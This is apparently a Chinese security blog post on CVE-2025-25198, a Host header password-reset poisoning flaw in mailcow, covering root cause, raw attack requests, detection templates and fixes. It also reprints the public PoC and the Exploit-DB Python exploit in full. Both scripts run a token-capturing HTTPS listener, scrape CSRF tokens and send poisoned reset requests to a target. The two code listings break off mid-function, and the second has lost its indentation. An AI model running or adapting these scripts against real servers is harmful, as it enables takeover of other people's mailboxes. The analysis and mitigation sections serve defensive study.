漏洞分析

🎯 CVE-2025-25198 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹

AiRedTeam

31 Jul 2026 • 阅读时间 30 分钟

🎯 CVE 全聚合深度分析

CVE-2025-25198 深度技术分析

📊 聚合 2 来源💣 含 EXP🧪 含 PoC🕵️ 含指纹

Exploit-DBPoC-in-GitHub

CVE-2025-25198 技术深度分析

摘要：mailcow dockerized 2025-01a 之前版本中存在一个 Host Header 注入导致的密码重置投毒漏洞（CVE-2025-25198）。由于密码重置流程未对 HTTP Host 头进行合法性校验，攻击者可通过伪造 Host 头生成指向自身服务器的密码重置链接，诱导受害者点击后获取重置令牌，最终实现账户接管。该漏洞 CVSS 3.1 评分为 9.3，属于严重漏洞。本文将从根因、利用链、检测指纹和修复方案等多维度进行深入分析。

📌 漏洞概述

属性	值
CVE ID	CVE-2025-25198
CVSS 3.1 评分	9.3（严重）
攻击向量	网络（AV:N）
攻击复杂度	低（AC:L）
所需权限	无（PR:N）
用户交互	需要（UI:R）
影响范围	已改变（S:C）
机密性影响	高（C:H）
完整性影响	高（I:H）
可利用状态	Exploit-DB 已公开利用代码；CISA KEV 尚未收录
影响版本	mailcow dockerized < 2025-01a
修复版本	2025-01a
漏洞类型	Host Header 密码重置投毒（CWE-644：对 Host 头的不当验证）

🔬 漏洞根因分析

mailcow 是一款流行的开源邮件服务器套件，基于 Docker 部署。其密码找回功能（位于 forgot.php 及相关重置流程）依赖于 HTTP 请求的 Host 头来构建密码重置链接。当用户请求重置密码时，mailcow 后端使用类似 request.get_host() 或直接从 CGI 变量读取 HTTP_HOST 的方式获取主机名，并拼接出如下格式的链接：

https://[HOST]/reset-password?token=XXXX

该链接随后通过邮件发送给用户。

核心设计缺陷在于：mailcow 未对 Host 头进行合法域名白名单校验。在受影响的版本中，没有强制配置 ALLOWED_HOSTS，也没有验证 Host 头是否属于 mailcow 自身的域名。因此，攻击者可以在发起密码重置请求时，将 HTTP 请求中的 Host 头任意设置为攻击者可控的域名（如 evil.com）。mailcow 服务器会信任该头，并生成如下恶意重置链接：

https://evil.com/reset-password?token=TOKEN

另一个关键细节是，该 token 是真实有效的，并且与受害者的账户关联。攻击者只需要知道受害者邮箱地址（通常可通过枚举或公开信息获取），即可触发该流程。由于 Host 头完全可控，而邮件服务本身不会对链接域名做二次校验，最终受害者收到的邮件中会包含一个指向攻击者服务器的合法重置链接。

为什么该漏洞会存在？从代码审计的角度看，这是典型的 “信任用户可控输入” 问题。Web 应用通常使用 Host 头来生成绝对 URL，但 Host 头本质上是客户端可篡改的。若应用未将其与可接受的域列表比对，就会导致 Host Header 注入。在 Semgrep 检测规则中，也明确列出了 HTTP_HOST、request.get_host() 等不安全的获取模式，并给出了修复建议：使用经过验证的域名配置。

此外，mailcow 的浏览器端页面可能还会基于该 Host 头执行重定向或资源加载，进一步扩大攻击面。但核心攻击仍然是密码重置链接投毒。

💥 影响与危害

该漏洞的直接危害是攻击者能够接管任意用户的邮箱账户。完整的攻击链如下：

攻击者向目标 mailcow 实例发起密码重置请求，并在请求中注入恶意 Host 头（例如攻击者自己的域名）。
mailcow 生成包含有效重置 token 的链接，并发送到受害者邮箱。
受害者收到邮件后，发现是“官方”密码重置邮件，点击链接。
链接指向攻击者的服务器，攻击者服务器模拟“设置新密码”页面，诱导受害者输入新密码，同时悄悄捕获 token。
攻击者使用该 token 向真实 mailcow 服务器提交密码重置请求，从而修改受害者的账户密码。

一旦邮箱账户被接管，攻击者可以：

读取、删除或发送邮件，获取敏感信息（如密码重置邮件、金融账单、业务往来等）。
使用邮箱作为跳板，进一步重置绑定在该邮箱上的其他平台账户（如云服务、企业应用等）。
在企业环境中，邮箱被控制可能导致整个域认证体系受损，引发大规模横向移动。

根据 CVSS 3.1 评分，该漏洞被标为 9.3 分（严重）。虽然需要用户交互（点击链接），但攻击复杂度低，且影响范围发生改变（Scoped），意味着攻击者可以跨越信任边界影响其他资源。尤其考虑到 mailcow 常被企业作为核心邮件网关部署，一旦被利用，损失极大。

🧪 PoC 复现分析

公开的 PoC（Exploit-DB 及 GitHub 仓库 Groppoxx/CVE-2025-25198-PoC）提供了一个高度自动化的复现脚本。该脚本的核心思路是：伪造密码重置请求 → 等待受害者点击恶意链接 → 捕获 token。

关键步骤拆解

1. 启动恶意 HTTPS 监听服务器

PoC 脚本在攻击者主机上启动一个监听 443 端口的 HTTPS 服务器（需要提供证书，脚本使用 server.pem 和 server.key），用于接收受害者点击重置链接后发起的请求。该服务器会解析请求 URL 中的 token 参数，并展示“重置链接已找到”的横幅。

2. 构造恶意 Host 头的密码重置请求

脚本通过 HTTP 客户端（如 requests 库）向目标 mailcow 的 /mailcow/forgot.php 发送 POST 请求，其数据包类似于：

POST /mailcow/forgot.php HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded

login_user=victim@target.tld

此处 Host 被设置为攻击者的域名，而 login_user 为受害者的邮箱地址。mailcow 收到后，会认为该请求来自 attacker.com，并将重置链接发给受害者。

3. 提取并记录重置链接

在正常流程中，邮件不会返回给攻击者，因此攻击者无法从响应中直接看到链接。但 PoC 脚本注释中提到了“response”和“fallback”两种提取方式：

在某些配置下，mailcow 可能会在响应页面中回显重置链接（例如调试模式），脚本通过正则 RGX_TOKEN_IN_URL 从响应正文中提取。
如果响应中没有，则等待受害者点击恶意链接后，从请求中捕获 token（RGX_TOKEN_FALLBACK 用于常见格式）。

脚本对收到的请求进行解析，用正则匹配 reset-password?token=([^…]+)，从而获得有效 token。

4. 模拟重置页面

为了防止受害者起疑，PoC 服务器会返回一个简单的 HTML 页面，模仿密码重置表单（即使没有完整实现，对演示已经足够）。受害者输入的新密码虽然不会被真正使用，但 token 已被攻击者获取。

PoC 的核心价值在于：展示了该漏洞可以被完全自动化，并且对攻击者的成本很低。攻击者唯一需要的就是一个公网可达的 HTTPS 服务器。

⚔️ EXP 利用分析

公开的 EXP（同样来自 Groppoxx）在 PoC 基础上进一步简化了利用链。其中包含两个顺序 HTTP 请求，形成一个完整的攻击序列：

请求 1：触发重置邮件

POST /mailcow/forgot.php HTTP/1.1
Host: {{attacker_host}}
Content-Type: application/x-www-form-urlencoded

login_user={{username}}

这一步与 PoC 一致，目的是向受害者邮箱发送携带恶意 Host 的邮件。

请求 2：使用捕获的 token 完成重置

当受害者点击链接后，token 会被发送到攻击者的服务器。随后 EXP 脚本（或攻击者手动操作）会向 mailcow 真实的 /mailcow/reset-password 接口发送 POST 请求，提交 token 和新密码：

POST /mailcow/reset-password HTTP/1.1
Host: {{attacker_host}}
Content-Type: application/x-www-form-urlencoded

token=XXXX&new_password=NewPass123

这里的 Host 仍然是攻击者域名，但 mailcow 只关注 token 的有效性，不会再次校验 Host，因此可以成功重置密码。

利用链特点：

双重 Host 投毒：第一次投毒用于生成恶意链接，第二次投毒则只是为了绕过服务器端可能存在的 Host 校验（如果 patch 不完全）。在未修复版本中，Host 头对任意 URL 生成和 token 提交都是被信任的。
自动化程度高：EXP 与监听服务器配合，可以实时捕获 token，并自动提交重置请求，整个账户接管在数秒内完成。
对目标没有任何前置条件：攻击者仅需知道受害者的邮箱地址，无需任何认证。

值得注意的是，EXP 的判断条件中检查了响应体中的 Password reset email sent、success、token 等关键词，这有助于确认攻击是否成功被服务器处理。

🕵️ 检测指纹说明

为了帮助安全团队发现资产和评估风险，社区提供了多种检测方式：

1. Nuclei 检测模板

Nuclei 模板 CVE-2025-25198-detection 用于探测目标是否运行受影响的 mailcow 版本。它首先请求首页、/index.php 或 /SOGo/Microsoft-Server-ActiveSync，通过正则提取 mailcow 版本号（如 2025-01），并检测是否包含 mailcow 标识。若版本号低于 2025-01a，则判定为存在漏洞。

部署使用方法：

nuclei -t cve-2025-25198-detection.yaml -u https://mail.target.tld

2. Nuclei 利用验证模板

另一个模板 CVE-2025-25198-exploit 则直接执行攻击测试（需要授权）。它会向目标发送伪造 Host 头的 POST 请求，并检查响应中是否出现“Password reset email sent”等成功标志。这可以快速验证漏洞是否可利用。建议在隔离的测试环境中使用。

3. Semgrep 代码审计规则

Semgrep 规则针对 Python 源码，查找潜在的不安全 Host 头获取方式，例如：

$HEADERS.get("Host")
$REQUEST.META.get("HTTP_HOST")
request.get_host()

该规则建议使用经过验证的 ALLOWED_HOSTS 列表进行校验。适用于审计 mailcow 本身或类似自研应用。

4. CodeQL 规则

提供的 CodeQL 规则（未完整展示）通常用于在编译前扫描数据流，跟踪 Host 头数据是否被直接用于 URL 生成。与 Semgrep 类似，但更侧重于整体数据流分析。

部署建议：在资产测绘阶段使用 Nuclei 检测版本；在代码审计阶段使用 Semgrep/CodeQL；在获得授权的前提下，使用利用模板进行渗透测试。所有检测结果都应结合业务环境和补丁状态给予评估。

🛡️ 修复与缓解

官方修复

mailcow 官方已在 2025-01a 版本中修复该漏洞。修复方式一般包括：

校验 Host 头是否与配置中声明的域名（如 MAILCOW_HOSTNAME）一致。
使用 X-Forwarded-Host 时，仅信任来自反向代理的参数，且对代理层进行严格配置。
在生成重置链接时，不再直接依赖 Host 头，而是使用配置中的固定基础 URL。

临时缓解措施

如果无法立即升级，可以采取以下措施降低风险：

配置反向代理白名单：在 Nginx/Caddy 等反向代理层过滤非法的 Host 头。例如，只允许 mailcow 实际使用的域名的请求到达后端。
设置 ALLOWED_HOSTS：mailcow 基于 PHP（fpm）和某些组件，如果其配置支持 ALLOWED_HOSTS 或类似选项，应立即启用。
监控异常重置请求：定期审计日志中的 forgot.php 请求，重点关注 Host 头异常（如 IP 地址、不常见域名）的记录。
用户教育与提示：在邮件中增加安全提示，告知用户点击重置链接前先确认域名是否正确。但这只是辅助手段。

长期安全建议

定期更新 mailcow 至最新稳定版，关注官方安全公告。
部署 Web 应用防火墙（WAF），为 Host 头添加规则：只允许预期域名。
实施安全开发规范：当应用需要生成绝对 URL 时，优先使用配置项而非请求头。
可加入 CV/CPE 指纹库，便于自动化发现此类应用。

本文仅用于安全技术研究和授权测试，禁止用于非法用途。撰稿人：安全技术研究团队 | 日期：2025年

🧪 PoC 代码（GitHub 实际仓库）

🔗 CVE-2025-25198-PoC

### 文件: cve_2025_25198.py
```
from __future__ import annotations

import argparse
import os
import re
import ssl
import subprocess
import sys
import threading
from datetime import datetime,timezone
from http import HTTPStatus
from http.server import SimpleHTTPRequestHandler,ThreadingHTTPServer
from typing import Dict,List,Optional,Tuple
from urllib.parse import parse_qs,
urlparse

try:
    import requests
except Exception:
    requests = None

RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
GREEN = "\033[32m"
CYAN = "\033[36m"
YELLOW = "\033[33m"
MAGENTA = "\033[35m"

LISTEN_PORT = 443
CERT_FILE = "server.pem"
KEY_FILE = "server.key"
WAIT_INTERVAL = 8.0
USER_AGENT = "Mozilla/5.0 (X11;Linux x86_64;
rv:128.0) Gecko/20100101 Firefox/128.0"

ANSI_RE = re.compile(r"\x1b\[[0-9;]*m")


def visible_len(s: str) ->int:
    return len(ANSI_RE.sub("",s))


class Console:
    def __init__(self,only_final: bool = False) ->None:
        self.only_final = only_final

    def log(self,msg: str) ->
None:
        if self.only_final:
            return
        ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00","Z")
        print(f"{DIM}[{ts}]{RESET}{msg}",flush=True)

    def banner(self,link: str,source: str = "response") ->None:
        host = urlparse(link).hostname or ""
        title = f"  {BOLD}{GREEN}RESET LINK FOUND!{RESET}
{DIM}({source}){RESET}"
        link_line = f"  {CYAN}{link}{RESET}"
        target_line = f"  Target: {BOLD}{host}{RESET}" if host else ""
        max_content = max(
            visible_len(title),visible_len(link_line),visible_len(target_line) if host else 0
        )
        inner_width = max(80,min(150,max_content))
        line = "═" * inner_width

        def box_line(content: str) ->
str:
            pad = inner_width - visible_len(content)
            if pad <
0:
                pad = 0
            return f"{MAGENTA}║{RESET}{content}{' ' * pad}{MAGENTA}║{RESET}"

        print("")
        print(f"{MAGENTA}╔{line}╗{RESET}")
        print(box_line(title))
        print(f"{MAGENTA}╟{line}╢{RESET}")
        print(box_line(link_line))
        if host:
            print(box_line(target_line))
        print(f"{MAGENTA}╚{line}╝{RESET}")
        print("")

console = Console(False)

RGX_TOKEN_IN_URL = re.compile(r'reset-password\?token=([^\s"&\'<>]+)',
re.I)
RGX_TOKEN_FALLBACK = re.compile(r'\b([a-f0-9]{4,12}(?:-[a-f0-9]{4,12}){3,6})\b',re.I)


def response_text(response: object) ->str:
    text = getattr(response,"text",None)
    if isinstance(text,str):
        return text
    content = getattr(response,"content",b"")
    return content.decode("utf-8","ignore")


def response_headers(response: object) ->Dict[str,
str]:
    return dict(getattr(response,"headers",{}))


def links_from_text(html: str,base_url: str) ->
List[str]:
    if not html:
        return []
    out: List[str] = []
    for m in RGX_TOKEN_IN_URL.finditer(html):
        out.append(f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}")
    for m in RGX_TOKEN_FALLBACK.finditer(html):
        cand = f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}"
        if cand not in out:
            out.append(cand)
    return out


def links_from_headers(headers: Dict[str,
str],base_url: str) ->List[str]:
    loc = headers.get("Location") or headers.get("location")
    return links_from_text(loc,base_url) if loc else []


class ListenerState:
    def __init__(self) ->
None:
        self.event = threading.Event()
        self.last_link: Optional[str] = None


class LoggingHTTPSHandler(SimpleHTTPRequestHandler):
    server_version = "PoisonedHostTest/host-only"
    error_content_type = "text/plain"

    def log_message(self,*_: object) ->None:
        return

    def _record(self,code: int) ->
None:
        token = parse_qs(urlparse(self.path).query).get("token") or []
        if token:
            link = f"{self.server.target_base_url.rstrip('/')}/reset-password?token={token[0]}"
            self.server.state.last_link = link
            self.server.state.event.set()
        if not console.only_final:
            console.log(
                f"{YELLOW}[HIT]{RESET}{self.command}
{self.path}"
                f"← {self.client_address[0]}[{code}]"
            )

    def do_GET(self) ->None:
        if self.path.startswith("/favicon"):
            self.send_response(HTTPStatus.NO_CONTENT)
            self.end_headers()
            return

        self.send_response(HTTPStatus.OK)
        self.send_header("Content-Type","text/html;
charset=utf-8")
        self.end_headers()
        token = parse_qs(urlparse(self.path).query).get("token",[""])[0]
        body = f"<!doctype html><meta charset=utf-8><title>OK</title><p>token: <b>{token}</b></p>"
        self.wfile.write(body.encode("utf-8"))
        self._record(HTTPStatus.OK)

    def do_POST(self) ->
None:
        _ = self.rfile.read(int(self.headers.get("Content-Length","0") or 0))
        self.send_response(HTTPStatus.NO_CONTENT)
        self.end_headers()
        self._record(HTTPStatus.NO_CONTENT)


def ensure_self_signed(cert_file: str,key_file: str,cn: str = "localhost",days: int = 365) ->
None:
    if os.path.exists(cert_file) and os.path.exists(key_file):
        return
    console.log("[+] Generating self-signed certificate…")
    subprocess.run(
        [
            "openssl","req","-x509","-newkey","rsa:2048","-keyout",key_file,"-out",cert_file,"-days",str(days),"-nodes","-subj",f"/CN={cn}",],check=True,)


def require_root_for_privileged_port(port: int) ->
None:
    if port <1024:
        if hasattr(os,"geteuid"):
            if os.geteuid() != 0:
                print("[-] Port 443 requires root. Re-run with sudo.",file=sys.stderr)
                sys.exit(2)


def start_https_listener(
    host: str,port: int,cert: str,key: str,base_url: str,state: ListenerState,) ->ThreadingHTTPServer:
    ensure_self_signed(cert,
key)
    httpd = ThreadingHTTPServer((host,port),LoggingHTTPSHandler)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(certfile=cert,keyfile=key)
    httpd.socket = ctx.wrap_socket(httpd.socket,server_side=True)
    httpd.target_base_url = base_url
    httpd.state = state
    threading.Thread(target=httpd.serve_forever,name="https-listener",
daemon=True).start()
    console.log(f"[+] HTTPS listener on https://{host}:{port}")
    return httpd


def add_cookie_string_to_session(session,cookie_header: Optional[str],base_url: str) ->None:
    if not cookie_header:
        return

    host = urlparse(base_url).hostname
    for part in re.split(r';\s*|,\s*',
cookie_header.strip()):
        if not part or "=" not in part:
            continue

        name,val = part.split("=",1)
        try:
            session.cookies.set(name.strip(),val.strip(),domain=host)
        except Exception:
            pass


class HttpClient:
    def __init__(self,base_url: str,use_http2: bool,cookie_header: Optional[str]) ->
None:
        self.base_url = base_url.rstrip("/")
        self.use_http2 = use_http2
        if use_http2:
            try:
                import httpx
            except Exception as e:
                raise RuntimeError("Install httpx for --http2:  pip install httpx") from e

            self.session = httpx.Client(http2=True,verify=False,timeout=20.0,
follow_redirects=False)
        else:
            if requests is None:
                raise RuntimeError("Missing 'requests' for HTTP/1.1.")
            self.session = requests.Session()
        add_cookie_string_to_session(self.session,cookie_header,self.base_url)

    def get(self,url: str,headers: Dict[str,str],
allow_redirects: bool):
        if self.use_http2:
            return self.session.get(url,headers=headers or {},follow_redirects=allow_redirects)
        return self.session.get(url,headers=headers or {},verify=False,timeout=20,allow_redirects=allow_redirects)

    def post(self,url: str,headers: Dict[str,str],data: Dict[str,str],
allow_redirects: bool):
        if self.use_http2:
            return self.session.post(url,headers=headers or {},data=data or {},follow_redirects=allow_redirects)
        return self.session.post(url,headers=headers or {},data=data or {},verify=False,timeout=20,allow_redirects=allow_redirects)

RGX_INPUTS = [
    re.compile(r'name=["\']csrf_token["\']\s+value=["\']([0-9a-zA-Z_\-./+=:]+)["\']'),
re.compile(r'name=["\']_csrf["\']\s+value=["\']([^"\']+)["\']'),re.compile(r'name=["\']csrf["\']\s+value=["\']([^"\']+)["\']'),re.compile(r'name=["\']csrf_token_reset["\']\s+value=["\']([^"\']+)["\']'),]
RGX_META = re.compile(r'<meta\s+name=["\']csrf-token["\']\s+content=["\']([^"\']+)["\']',re.I)
RGX_JS = [
    re.compile(r'csrf_token\s*[:=]\s*["\']([^"\']+)["\']',re.I),
re.compile(r'window\.\w*csrf\w*\s*=\s*["\']([^"\']+)["\']',re.I),]
COOKIE_CSRF = ["csrf_token","_csrf","XSRF-TOKEN","CSRF-TOKEN"]
HEX64 = re.compile(r'^[0-9a-f]{64}$',re.I)


def _csrf_candidates_html(html: str) ->
List[str]:
    if not html:
        return []
    cands: List[str] = []
    for rgx in RGX_INPUTS:
        m = rgx.search(html)
        if m:
            cands.append(m.group(1))
    m = RGX_META.search(html)
    if m:
        cands.append(m.group(1))
    for rgx in RGX_JS:
        m = rgx.search(html)
        if m:
            cands.append(m.group(1))
    for m in re.finditer(r'csrf_token=([0-9a-zA-Z_\-./+=:]{16,})',
html):
        cands.append(m.group(1))
    seen: set[str] = set()
    out: List[str] = []
    for v in cands:
        if v not in seen:
            seen.add(v)
            out.append(v)
    return out


def _csrf_from_set_cookie(headers: Dict[str,str]) ->
Optional[str]:
    sc = headers.get("Set-Cookie") or headers.get("set-cookie")
    if not sc:
        return None
    for cookie in re.split(r',(?=\s*\w+=)',sc):
        for name in COOKIE_CSRF:
            m = re.search(rf'\b{name}=([^;,\s]+)',cookie,re.I)
            if m:
                return m.group(1)
    return None


def _best_csrf(candidates: List[str]) ->
Optional[str]:
    if not candidates:
        return None
    for c in candidates:
        if HEX64.fullmatch(c):
            return c
    return candidates[0]


def nav_headers(base_url: str,attacker_host: str) ->Dict[str,str]:
    return {"User-Agent": USER_AGENT,"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip,deflate,br","Upgrade-Insecure-Requests": "1","Sec-Fetch-Dest": "document","Sec-Fetch-Mode": "navigate","Sec-Fetch-Site": "same-origin","Sec-Fetch-User": "?1","Te": "trailers","Referer": base_url.rstrip("/") + "/","Origin": base_url,"Host": attacker_host,}def fetch_csrf_auto(client: HttpClient,base_url: str,attacker_host: str,username: str) ->str:
    paths = ["","/",
"/index.php","/reset-password","/login","/auth","/user/reset"]
    h1 = nav_headers(base_url,attacker_host)
    for p in paths:
        url = client.base_url + p
        try:
            r = client.get(url,headers=h1,
allow_redirects=True)
            token = _csrf_from_set_cookie(response_headers(r)) or _best_csrf(
                _csrf_candidates_html(response_text(r))
            )
            if token:
                return token
        except Exception as e:
            console.log(f"[!] CSRF GET failed at {url}: {e}")

    h2 = dict(h1)
    h2.pop("Host",
None)
    for p in paths:
        url = client.base_url + p
        try:
            r = client.get(url,headers=h2,
allow_redirects=True)
            token = _csrf_from_set_cookie(response_headers(r)) or _best_csrf(
                _csrf_candidates_html(response_text(r))
            )
            if token:
                return token
        except Exception as e:
            console.log(f"[!] CSRF GET (no Host) failed at {url}: {e}")

    pre_headers = {"User-Agent": USER_AGENT,"Accept": h1["Accept"],
"Accept-Language": h1["Accept-Language"],"Content-Type": "application/x-www-form-urlencoded","Host": attacker_host,"Referer": base_url.rstrip("/") + "/","Origin": base_url,"Upgrade-Insecure-Requests": "1",}try:
        r = client.post(
            client.base_url + "/reset-password",headers=pre_headers,data={"username": username,"pw_reset_request": "","csrf_token": ""},allow_redirects=True,
)
        token = _csrf_from_set_cookie(response_headers(r)) or _best_csrf(
            _csrf_candidates_html(response_text(r))
        )
        if token:
            return token
    except Exception as e:
        console.log(f"[!] Preflight POST for CSRF failed: {e}")
    raise RuntimeError("Unable to auto-extract csrf_token.")


def looks_like_csrf_error(body: str,status: int) ->
bool:
    if status in (400,403):
        return True
    text = (body or "").lower()
    return any(k in text for k in ("csrf","invalid token","expired token","forgery","bad token"))


def run_sequence(client: HttpClient,base_url: str,username: str,csrf: str,attacker_host: str) ->Tuple[Optional[str],Dict[str,object],str]:
    headers = {"User-Agent": USER_AGENT,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "en-US,en;q=0.5","Content-Type": "application/x-www-form-urlencoded","Host": attacker_host,"Referer": base_url.rstrip('/') + "/","Origin": base_url,"Upgrade-Insecure-Requests": "1",}r1 = client.get(base_url,headers=headers,
allow_redirects=True)
    body1 = response_text(r1)
    reset_ep = base_url.rstrip("/") + "/reset-password"
    payload = {"username": username,"pw_reset_request": "","csrf_token": csrf}r2 = client.post(reset_ep,headers=headers,data=payload,allow_redirects=False)
    body2 = response_text(r2)
    r3 = client.get(base_url.rstrip("/") + "/",headers=headers,
allow_redirects=False)
    body3 = response_text(r3)
    found: List[str] = []
    found += links_from_headers(response_headers(r1),base_url)
    found += links_from_headers(response_headers(r2),base_url)
    found += links_from_headers(response_headers(r3),base_url)
    found += links_from_text(body1,base_url)
    found += links_from_text(body2,base_url)
    found += links_from_text(body3,
base_url)
    seen: set[str] = set()
    clean = [l for l in found if not (l in seen or seen.add(l))]
    summary = {"get1": getattr(r1,"status_code",None),"post": getattr(r2,"status_code",

⚔️ EXP 代码（Exploit-DB）

来源: [webapps] mailcow 2025-01a - Host Header Password Reset Poisoning

```
# Exploit Title: mailcow 2025-01a - Host Header Password Reset Poisoning
# Date: 2025-10-21
# Exploit Author: Iam Alvarez (AKA Groppoxx / Maizeravla)
# Vendor Homepage: https://mailcow.email
# Software Link: https://github.com/mailcow/mailcow-dockerized
# Version: <2025-01a (REQUIRED)
# Tested on: Ubuntu 22.04.5 LTS,Docker 26.1.3,Docker Compose 2.27.1;
mailcow:dockerized 2025-01
# CVE : CVE-2025-25198
# PoC: https://github.com/Groppoxx/CVE-2025-25198-PoC.git
# mailcow: dockerized <2025-01a - Host Header Password Reset Poisoning (CVE-2025-25198)
# Description:
# A flaw in mailcow’s password reset allows Host header poisoning to generate a
# reset link pointing to an attacker-controlled domain,
potentially enabling account
# takeover if a user clicks the poisoned link. Patched in 2025-01a.
# References:
# - NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-25198
# - Vendor advisory: https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf
# Usage (authorized testing only):
# sudo python3 cve-2025-25198.py \
# --listen-host 0.0.0.0 \
# --base-url https://mail.target.tld \
# --username victim@target.tld \
# --attacker-host your.ip.or.dns \
# --http2
# Requirements:
# Python 3.8+ ;
pip install httpx (or 'requests' for HTTP/1.1)
# Legal:
# For authorized security testing only. Do NOT target live websites.
from __future__ import annotations
import argparse
import http.server
import os
import re
import ssl
import subprocess
import sys
import threading
from datetime import datetime,
timezone
from http import HTTPStatus
from http.server import SimpleHTTPRequestHandler
from typing import Optional,Dict,List,Tuple
from urllib.parse import urlparse,
parse_qs
try:
import requests
except Exception:
requests = None
RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
GREEN = "\033[32m"
CYAN = "\033[36m"
YELLOW = "\033[33m"
MAGENTA = "\033[35m"
ANSI_RE = re.compile(r'\x1b\[[0-9;]*m')
def visible_len(s: str) ->int:
return len(ANSI_RE.sub('',s))
class Console:
def __init__(self,only_final: bool = False) ->
None:
self.only_final = only_final
def log(self,msg: str) ->None:
if self.only_final:
return
ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00","Z")
print(f"{DIM}[{ts}]{RESET}{msg}",flush=True)
def banner(self,link: str,source: str = "response") ->None:
host = urlparse(link).hostname or ""
title = f" {BOLD}{GREEN}RESET LINK FOUND!{RESET}
{DIM}({source}){RESET}"
link_line = f" {CYAN}{link}{RESET}"
target_line = f" Target: {BOLD}{host}{RESET}" if host else ""
max_content = max(
visible_len(title),visible_len(link_line),visible_len(target_line) if host else 0
)
inner_width = max(80,min(150,max_content))
line = "═" * inner_width
def box_line(content: str) ->str:
pad = inner_width - visible_len(content)
if pad <
0:
pad = 0
return f"{MAGENTA}║{RESET}{content}{' ' * pad}{MAGENTA}║{RESET}"
print("")
print(f"{MAGENTA}╔{line}╗{RESET}")
print(box_line(title))
print(f"{MAGENTA}╟{line}╢{RESET}")
print(box_line(link_line))
if host:
print(box_line(target_line))
print(f"{MAGENTA}╚{line}╝{RESET}")
print("")
console = Console(False)
RGX_TOKEN_IN_URL = re.compile(r'reset-password\?token=([^\s"&\'<>]+)',
re.I)
RGX_TOKEN_FALLBACK = re.compile(r'\b([a-f0-9]{4,12}(?:-[a-f0-9]{4,12}){3,6})\b',re.I)
def links_from_text(html: str,base_url: str) ->
List[str]:
if not html:
return []
out: List[str] = []
for m in RGX_TOKEN_IN_URL.finditer(html):
out.append(f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}")
for m in RGX_TOKEN_FALLBACK.finditer(html):
cand = f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}"
if cand not in out:
out.append(cand)
return out
def links_from_headers(headers: Dict[str,str],base_url: str) ->
List[str]:
loc = headers.get("Location") or headers.get("location")
return links_from_text(loc,base_url) if loc else []
class ListenerState:
def __init__(self) ->None:
self.event = threading.Event()
self.last_link: Optional[str] = None
class LoggingHTTPSHandler(SimpleHTTPRequestHandler):
server_version = "PoisonedHostTest/host-only"
error_content_type = "text/plain"
def log_message(self,
*_: object) ->None:
return
def _record(self,code: int) ->None:
parsed = urlparse(self.path)
token = parse_qs(parsed.query).get("token") or []
if token:
link = f"{self.server.target_base_url.rstrip('/')}/reset-password?token={token[0]}"
self.server.state.last_link = link
self.server.state.event.set()
if not console.only_final:
console.log(f"{YELLOW}[HIT]{RESET}{self.command}{self.path}
← {self.client_address[0]}[{code}]")
def do_GET(self) ->None:
if self.path.startswith("/favicon"):
self.send_response(HTTPStatus.NO_CONTENT);self.end_headers();return
self.send_response(HTTPStatus.OK)
self.send_header("Content-Type","text/html;charset=utf-8")
self.end_headers()
token = parse_qs(urlparse(self.path).query).get("token",
[""])[0]
body = f"<!doctype html><meta charset=utf-8><title>OK</title><p>token: <b>{token}</b></p>"
self.wfile.write(body.encode("utf-8"))
self._record(HTTPStatus.OK)
def do_POST(self) ->None:
_ = self.rfile.read(int(self.headers.get("Content-Length","0") or 0))
self.send_response(HTTPStatus.NO_CONTENT);
self.end_headers()
self._record(HTTPStatus.NO_CONTENT)
def ensure_self_signed(cert_file: str,key_file: str,cn: str = "localhost",days: int = 365) ->None:
if os.path.exists(cert_file) and os.path.exists(key_file):
return
console.log("[+] Generating self-signed certificate…")
subprocess.run([
"openssl","req","-x509","-newkey","rsa:2048","-keyout",key_file,"-out",cert_file,"-days",str(days),
"-nodes","-subj",f"/CN={cn}"
],check=True)
def require_root_for_privileged_port(port: int) ->None:
if port <1024:
# POSIX check: require root if binding <1024
if hasattr(os,"geteuid"):
if os.geteuid() != 0:
print("[-] Port 443 requires root. Re-run with sudo.",file=sys.stderr)
sys.exit(2)
# On non-POSIX (e.g.,Windows) we don't enforce sudo.
def start_https_listener(host: str,port: int,
cert: str,key: str,base_url: str,state: ListenerState):
ensure_self_signed(cert,key)
httpd = http.server.ThreadingHTTPServer((host,port),LoggingHTTPSHandler)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(certfile=cert,keyfile=key)
httpd.socket = ctx.wrap_socket(httpd.socket,
server_side=True)
httpd.target_base_url = base_url
httpd.state = state
threading.Thread(target=httpd.serve_forever,name="https-listener",daemon=True).start()
console.log(f"[+] HTTPS listener on https://{host}:{port}")
return httpd
def add_cookie_string_to_session(session,cookie_header: Optional[str],base_url: str) ->
None:
if not cookie_header:
return
host = urlparse(base_url).hostname
for part in re.split(r';\s*|,\s*',cookie_header.strip()):
if not part or "=" not in part:
continue
name,val = part.split("=",1)
try:
session.cookies.set(name.strip(),val.strip(),domain=host)
except Exception:
pass
class HttpClient:
def __init__(self,base_url: str,use_http2: bool,cookie_header: Optional[str]) ->
None:
self.base_url = base_url.rstrip("/")
self.use_http2 = use_http2
if use_http2:
try:
import httpx
except Exception as e:
raise RuntimeError("Install httpx for --http2: pip install httpx") from e
# TLS verification disabled intentionally for testing environments
self.session = httpx.Client(http2=True,verify=False,timeout=20.0,
follow_redirects=False)
else:
if requests is None:
raise RuntimeError("Missing 'requests' for HTTP/1.1.")
self.session = requests.Session()
add_cookie_string_to_session(self.session,cookie_header,self.base_url)
def get(self,url: str,headers: Dict[str,str],allow_redirects: bool):
if self.use_http2:
return self.session.get(url,headers=headers or {},
